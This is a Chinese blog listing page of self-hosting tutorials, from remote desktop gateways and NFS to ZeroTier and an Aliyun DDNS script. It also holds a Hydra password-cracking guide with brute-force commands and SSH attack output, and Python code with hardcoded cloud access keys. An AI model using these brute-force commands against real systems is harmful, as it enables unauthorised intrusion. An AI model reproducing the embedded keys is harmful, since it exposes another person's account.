首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,494 阅读
2
主板开机跳线接线图【F_PANEL接线图】
5,325 阅读
3
Linux使用V2Ray 原生客户端
4,311 阅读
4
NVIDIA 显卡限制功率
2,496 阅读
5
海康威视监控摄像头使用指南
2,277 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
331
篇文章
累计收到
63
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
55
篇与
的结果
2021-12-22
Next Terminal:在浏览器中管理你的服务器
1.介绍Next Terminal是使用Golang和React开发的一款HTML5的远程桌面网关,具有小巧、易安装、易使用、资源占用小的特点,支持RDP、SSH、VNC和Telnet协议的连接和管理。Next Terminal基于 Apache Guacamoleopen in new window 开发,使用到了guacd服务。目前支持的功能有:授权凭证管理资产管理(支持RDP、SSH、VNC、TELNET协议)指令管理批量执行命令在线会话管理(监控、强制断开)离线会话管理(查看录屏)双因素认证资产标签资产授权多用户&用户分组计划任务2.docker安装#docker安装Next Terminal docker run -d \ -p 8088:8088 \ --name next-terminal \ --restart always dushixiang/next-terminal:latest安装完毕后访问IP:8088,用户名为admin,密码为admin,登录后可在后台进行修改。参考资料使用Next Terminal在浏览器中管理你的服务器https://next-terminal.typesafe.cn/
2021年12月22日
924 阅读
0 评论
0 点赞
2021-12-22
h5ai:一款功能强大 php 文件目录列表程序
1.介绍h5ai是一款功能强大 php 文件目录列表程序,不需要数据库,支持在线预览文本、图片、音频、视频等。h5ai功能包括:文件排序,不同视图模式,本地化,面包屑,树视图,自定义页眉和页脚,文件过滤器和搜索,文件夹大小,自动刷新,打包下载,QR码,缩略图,文件预览。官网:https://larsjung.de/h5ai/github:https://github.com/lrsjng/h5ai2.宝塔安装2.1 php扩展安装与函数解禁在安装之前,我们需要在php中安装ImageMagick、fileinfo、exif扩展和解禁putenv函数。2.2 创建网站2.3 源码下载从官网或者github下载程序包,解压然后将_h5ai 上传到网站根目录: h5ai.inat.top/_h5ai.额,宝塔面板用户,直接就可以远程下载了。打开 http://h5ai.inat.top/_h5ai/public/index.php, 检查一下h5ai 是否可以访问. 同时,如果你的服务器有不兼容的话这里会显示。不过打开的时候,会要求你设置一个密码,当然留空也可以直接访问,登录之后,会有web环境检查的结果,如图:2.4 修改默认首页添加 /_h5ai/public/index.php 到默认的首页列表中添加好之后,我们就可以打开浏览器访问了,界面如下:3.给h5ai开启二维码、搜索、选择功能以下均在配置文件/www.xx.com/_h5ai/private/conf/options.json修改3.1 开启选择功能"select": { "enabled": false, "clickndrag": true, "checkboxes": true },将false修改为true,即:"select": { "enabled": true, "clickndrag": true, "checkboxes": true },该功能可方便我们进行批量下载。3.2开启搜索功能"search": { "enabled": false, "advanced": true, "debounceTime": 300, "ignorecase": true },将false修改为true,即:"search": { "enabled": true, "advanced": true, "debounceTime": 300, "ignorecase": true },开启后我们可以更快的找到文件了。3.3 开启二维码功能"info": { "enabled": false, "show": false, "qrcode": true, "qrFill": "#999", "qrBack": "#fff" },将false修改为true,即:"info": { "enabled": true, "show": true, "qrcode": true, "qrFill": "#999", "qrBack": "#fff" },开启二维码后,我们可以直接手机扫描二维码下载,很方便。参考资料h5ai-轻便又美观目录列表程序支持在线预览文本、图片、音频、视频等给h5ai开启二维码、搜索、选择功能
2021年12月22日
755 阅读
0 评论
0 点赞
2021-12-22
instantbox :几秒内启动一个干净的 Linux 系统
1.介绍instantbox一款非常实用的项目,它能够让你在几秒内启动一个主流的 Linux 系统,随起随用,支持 Ubuntu, CentOS, Arch Linux, Debian, Fedora 和 Alpine,通过 WebShell 访问,简单快捷,适合于演示、测试、体验等场合。喜欢尝试新玩意的青小蛙常常需要一台新的 Linux 系统进行测试,一则不能不影响现有系统,弄坏无压力,二则为了避免原环境对测试的影响。虽然有虚拟机、VPS,但新的 Linux系统还是需要一段时间才能创建完成,尤其如果 VPS 的话,你可能还需要支付几个小时的使用费用,而碰到 IP 不可用那种问题,纯属浪费时间。instantbox 提供了一个非常便捷的解决方案,它能够帮你在几秒钟内就启动一个干净的 Linux 发行版本,并且拥有多个版本,包括:Ubuntu:14.04、16.04、18.04、20.04 版本CentOS:6.10、7、8 版本Arch Linux:最新Debian:jessie、stretch、busterFedora:30、31Alpine:最新可以将 instantbox 理解为虚拟机中的临时虚拟机。2.如何安装 instantboxinstantbox 推荐使用 Docker 部署,直接使用官方提供的脚本即可:mkdir instantbox && cd $_ bash <(curl -sSL https://raw.githubusercontent.com/instantbox/instantbox/master/init.sh)或者下载 docker-compose.yml 文件,直接 docker-compose up -d 即可。3.如何使用 instantbox记得修改里面的端口,默认 8888。然后用浏览器打开 IP:8888,选择系统:选择配置,可选 CPU 核心数、内存、有效期然后,就会启动一个 WebShell 了,请尽情折腾,反正一天后就没了…注意由于其系统十分纯净,很多基础工具也可能需要安装才能使用,以 Ubuntu 为例,比如你要使用 ping,要先安装 apt install iputils-ping 才行。最后,关于权限,任何人知道你的 IP:端口 就能访问并使用,虽然不会对母机造成伤害,但可能会导致资源滥用,请注意保护。参考资料instantbox – 几秒内启动一个干净的 Linux 系统
2021年12月22日
687 阅读
0 评论
0 点赞
2021-12-21
nfs:Linux下挂载远程硬盘工具
本问以ubuntu为例,其他类似1.介绍NFS是Network File System的缩写,即网络文件系统。一种使用于分散式文件协定,功能是通过网络让不同的机器、不同的操作系统能够分享个人数据,让应用程序通过网络可以访问位于服务器磁盘中的数据。NFS在文件传送或信息传送的过过程中,依赖于RPC协议。RPC,远程过程调用(Remote Procedure Call),是使客户端能够执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的,但NFS却能让我们通过网络进行资料的分享,就是因为NFS使用了RPC提供的传输协议,可以说NFS就是使用PRC的一个程序。NFS 存储 服务器主要用于用户上传的数据 ,图片 音频 、等信息 NFS服务端、RPC协议、客户端三者可以理解为房源、中介、租客之间的关系:2.应用场景现有两台Linux Server,需要把Linux01 下的硬盘/文件夹挂在到 Linux02 下;3.配置步骤-服务器端3.1 安装nfs-serversudo apt install nfs-server3.2 修改/etc/exports发布可供硬盘/文件夹sudo vim /etc/exports 然后输入: /datadrive02 *(insecure,rw,sync,no_root_squash,no_subtree_check) # /datadrive02 为需要挂载出去的硬盘 /datadrive02 :共享的目录 * :指定哪些用户可以访问 * 所有可以ping同该主机的用户 192.168.1.* 指定网段,在该网段中的用户可以挂载 192.168.1.12 只有该用户能挂载 (ro,sync,no_root_squash): 权限 ro : 只读 rw : 读写 sync : 同步 no_root_squash: 不降低root用户的权限3.3 重启 nfs-serversudo service nfs-server restart3.4 验证发布showmount -e + 主机IP(base) jupiter@dell:~$ showmount -e 127.0.0.1 Export list for 127.0.0.1: /data/project/音频剪辑/audio *4.挂载步骤-客户端4.1 安装 nfs-commonsudo apt install nfs-common4.2 挂载# sudo mount -t nfs 远程硬盘 挂载到本地后的名字(路径) sudo mount -t nfs 10.1.9.24:/data/project/音频剪辑/audio /audio4.3 验证(base) v100@v100:~$ df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 16G 0 16G 0% /dev tmpfs 3.2G 124M 3.1G 4% /run /dev/sdb3 909G 166G 698G 20% / tmpfs 16G 59M 16G 1% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 16G 0 16G 0% /sys/fs/cgroup /dev/sdb1 975M 3.7M 971M 1% /boot/efi tmpfs 3.2G 28K 3.2G 1% /run/user/108 tmpfs 3.2G 96K 3.2G 1% /run/user/1000 /dev/sda1 3.7T 568G 3.1T 16% /data /dev/sdd2 3.7T 3.1T 630G 84% /4t /dev/sds1 466G 365G 102G 79% /drive /dev/sdu4 115G 39G 76G 34% /drive2 10.1.9.24:/data/project/音频剪辑/audio 458G 263G 172G 61% /audio参考资料Linux(Ubuntu)通过nfs挂载远程硬盘Ubuntu配置NFS的方法Linux下部署NFS服务 (* ̄︶ ̄)
2021年12月21日
857 阅读
0 评论
0 点赞
2021-12-21
Matomo:–免费开源的网站流量统计系统
1.简介Matomo(前身为Piwik)是一款很受欢迎的Google Analytics的开源替代工具。与Google Analytics不同,Matom是在你自己的服务器上托管的,你可以拥有你所有的数据。2.配置步骤2.1下载下载地址:https://builds.matomo.org/matomo.zip官网:https://matomo.org/安装文档:https://matomo.org/docs/installation/2.2 安装(宝塔环境,原生环境需要自行配置)解压然后在宝塔的控制台添加网站配置域名并将解压后的目录设置为网站根目录。然后我们用访问域名开始安装,不过首先可以把默认语言改成中文:下一步,web 环境检查,一般遇到的问题是 shell_exec 函数禁用,我们需要启用这个函数。在 php 管设置→禁用函数→删除 shell_exec 函数禁用:这时候重新检测 web 环境,我们看到已经全部通过。如图:接着下一步,需要填写数据库信息等等大家根据自己的数据库信息来填写吧:填写好之后,下一步,我们看到成功填写的信息,如图:继续下一步,这里需要设置管理员了,如图:下一步,需要设置需要被统计的网站,如图:接着下一步,设置被统计网站,如图:接着下一步,就设置完成了所有的需要设置的东东。三:基本设置我们登入到已安装好的 matomo 后台,后台和 wordpress 很像,已经极尽完善了,默认内置了 46 种插件,基本不需要安装什么插件了就可以使用了:如果我们需要安装插件,比如说安装 ip 地址位置插件,我们这样在插件管理中安装新插件:插件商城插件种类丰富,因为内置的是 GeoIP 如果你需要更换一个可以安装 IP2,如图:我们点击安装即可。当然你也可以直接在功能面板的左侧找到商城然后点击之后进去安装即可。参考资料Matomo前端埋点 matomo 详细安装配置 (一)Matomo – 免费开源的网站流量统计系统
2021年12月21日
768 阅读
0 评论
0 点赞
2021-12-20
ZeroTier:快速实现虚拟局域网VLAN/内网穿透
1.简介zerotier是一个软交换机,使用zerotier可以让多台内网机器组成一个局域网。官网: https://my.zerotier.comZeroTier 支持 Windows、macOS、Linux 三大主流平台,iOS、Android 两大移动平台,以及 QNAP(威连通)、Synology(群晖)、Western Digital MyCloud NAS(西部数据)三个 NAS 平台,还支持 LEDE 开源路由器项目。2.使用步骤2.1 注册 ZeroTier注册地址:https://my.zerotier.com/2.2创建私有局域网,获得 Network ID,然后修改Access Control进入https://my.zerotier.com/network点击Create创建网络点击进入已创建的网络,修改Access Control,默认是Certificate (Private Network),选择此模式表示每次在添加新的主机时,需要手动勾选是否允许连接,如果选择None (Public Network)模式,表示加入网络后自动分配IP并允许连接,从安全性来说建议使用默认选项Certificate (Private Network),方便性来看None (Public Network)更方便,不用每次加入网络后手动勾选。2.3客户端安装方式Linuxcurl -s https://install.zerotier.com | sudo bash如果要让他开机自启动,运行:sudo systemctl start zerotier-one.service sudo systemctl enable zerotier-one.serviceWindows或者macOS、Android、iOS等那么可以在 https://www.zerotier.com/download/ 下载zerotierr然后安装2.4连接,加入 Network IDsudo zerotier-cli join 83048a0632246d2c #填写自己的 Network ID2.5 验证ip a这个时候执行一下 ip a 你会发现多了一个叫做 ztuzethlza 或者类似名字的设备,还有IP地址,这就是zerotier组建的局域网的IP 地址zt3jnq5mka: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 2800 qdisc fq_codel state UNKNOWN group default qlen 1000 link/ether f6:4e:f8:49:0d:52 brd ff:ff:ff:ff:ff:ff inet 172.30.204.211/16 brd 172.30.255.255 scope global zt3jnq5mka valid_lft forever preferred_lft forever inet6 fe80::8e0:6ff:fe0e:1737/64 scope link valid_lft forever preferred_lft forever参考资料ZeroTier – 无配置,零基础「内网穿透」随时随地连回家/学校/办公室 -跨平台https://www.zerotier.com/download/zerotier简明教程无公网IP通过ZeroTier方便实现内网穿透(详细)
2021年12月20日
1,084 阅读
0 评论
0 点赞
2021-12-08
Firefox Send:临时文件分享系统快速搭建
1.介绍Firefox Send是Firefox推出的一個全新的临时文件分享系统2. 使用Docker快速完成搭建2.1 安装Docker自行百度完成2.2 拉取镜像docker run --name send -d -p 1443:1443 moerats/send然后使用ip:1443访问即可,如果你想用其它端口,就更改前面的1443参数,比如8888:1443。3.修改文件上传大小上限找到目标容器ID# 找到目标容器ID docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 930ef8b92222 moerats/send "/start.sh" 12 minutes ago Up 12 minutes 0.0.0.0:1443->1443/tcp send ···进入容器# 进入容器 docker attach 930ef8b92222修改/send/server/config.js的内容apt install vim··· anon_max_file_size: { format: Number, default: 1024 * 1024 * 1024 * 5, # 修改文件大小上限这里 env: 'ANON_MAX_FILE_SIZE' }, ···重启容器参考资料使用Firefox Send搭建一个临时文件分享系统
2021年12月08日
1,699 阅读
0 评论
0 点赞
2021-12-08
AliyunDNSHelper:阿里云dns解析助手-python实现
1.准备工作首先得有一个阿里云的域名https://www.aliyun.com/minisite/goods安装阿里云SDK和其他第三方库pip install aliyun-python-sdk-core-v3 pip install aliyun-python-sdk-domain pip install aliyun-python-sdk-alidns pip install requests获取accessKeyId和accessSecret可以在阿里云控制台个人中心直接获取,但是一般建议使用RAM角色来进行权限控制,这样这个accessKey和accessSecret就只能操作域名,不能操作其他的资源,相对会比较安全。关于RAM快速入门:https://help.aliyun.com/document_detail/28637.html2.代码实现2.1 ali-dns-helper.py`from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = input("SubDomian:") value = input("value:") sub_domain_type = input("Type:") dnsHelper.action(sub_domain,value,sub_domain_type)2.2 ali-ddns-ipv6.py:实现ipv6 DDNS功能(ipv4同理)2.2.1 获取本机公网ipv6地址方法1:通过http接口获取(推荐)def getIPv6Address(): text = requests.get('https://v6.ident.me').text return text getIPv6Address()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'方法2:python执行shell命令--其中的shell命令需要根据实际情况进行修改def get_local_ipv6(): """ 获取本机ipv6地址,其中的shell命令需要根据实际情况进行修改 """ import os; cmd_get_ipv6 = "ifconfig enp1s0 | awk '{if(NR==3){print $3}}'" # 获取本机ipv6的shell命令,需要根据实际情况进行修改 ipv6 = os.popen(cmd_get_ipv6).readlines()[0] if "/" in ipv6: ipv6 = ipv6.split("/")[0] return ipv6 get_local_ipv6()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'2.2.2 配合time.sleep完成DDNS功能from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json import time class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") def getIPv6Address(): text = requests.get('https://v6.ident.me').text # 接口失效后需要及时进行修改 return text dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = "d2550-ipv6" sub_domain_type = "AAAA" while True: print("当前时间:",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) value = getIPv6Address() dnsHelper.action(sub_domain,value,sub_domain_type) time.sleep(2*3600) # 每隔2个小时执行1次然后配合screen命令或者去掉无限循环使用定时任务进行执行即可完成ipv6的DDNS的功能参考资料Python实现阿里云域名DDNS支持ipv4和ipv6python 3.7.3 shell_python3执行shell命令的几种方式Python 获取本机公网IPv6地址Python 日期和时间
2021年12月08日
721 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
606 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
769 阅读
0 评论
0 点赞
2021-12-07
为你的Handsome主题添上滑稽小表情
1.食用指南1.1 上手操作解压 funny.zip ,你将会得到 funny 文件夹和 OwO.json 文件,操作前请做好相应备份工作只适用于 Handsome 主题funny 文件夹放于 handsome 主题 usr/img/emotion/ 目录下OwO.json 替换原文件,,此 OwO.json 文件位于 usr/ 目录下有人说表情默认显示太大,那就加个css调和下/*滑稽小表情自定义大小*/ .emotion-funny { width: 30px; } .comment-content-**true** img.emotion-funny { max-width: 100%!important; }文件下载点我下载 funny.zip2.成果展示
2021年12月07日
608 阅读
0 评论
0 点赞
2021-12-07
便宜的VPS/云服务器推荐
